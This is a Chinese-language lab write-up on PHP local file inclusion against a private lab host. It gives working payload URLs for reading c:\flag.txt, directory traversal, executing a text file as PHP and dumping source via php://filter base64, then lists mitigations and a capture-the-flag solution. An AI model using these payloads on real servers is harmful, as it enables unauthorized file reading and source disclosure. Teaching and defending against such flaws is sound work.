练习1:192.168.2.101/include.php
1、读出服务器c:\flag.txt(用两种方法)
方法一:
http://192.168.2.101/include/include.php?c=file:///c:\flag.txt
方法二:
http://192.168.2.101/include/include.php?c=c:\flag.txt
2、已知flag.txt存放在当前目录的上四层目录下的名为1的文件夹下
http://192.168.2.101/include/include.php?c=…/…/…/…/1/flag.txt
3、将当前目录下的test.txt文件以php方式运行
http://192.168.2.101/include/include.php?c=test.txt
4、将同一目录下的include.php内容读出来
http://192.168.2.101/include/include.php?c=php://filter/read=convert.base64-encode/resource=include.php
对得到的加密字符串进行base64解密,得到include.php文件内容。
5、文件包含漏洞如何避免
1、尽可能避免使用动态文件包含,采用静态文件包含。
2、验证用户输入的参数是否是有效的文件名,且只能包含允许包含的文件。
3、定义一个文件名的白名单,应用程序只能包括这些文件中的内容。
4、尽可能避免在文件包含语句中使用可变变量,这将使攻击者更难利用包含路径。
5、将所需要包含的文件存储在一个特定目录下,并限制只能从该目录下包含文件。
6、启用 PHP 的 open_basedir 选项,能定义了 PHP 脚本能够读取和写入文件的目录,我们可以通过设定该选项,限制动态文件包含的范畴。
7、及时更新语言解释器或使用的框架,以保证安全漏洞得到修复。
练习2:192.168.2.101/bh
登陆发现192.168.2.101/bh的主页为index.php,访问该主页
随机提交一个并抓包
修改file
发现base64码解码
找到flag:{Jus7_a_simpl3_fil3_includ3}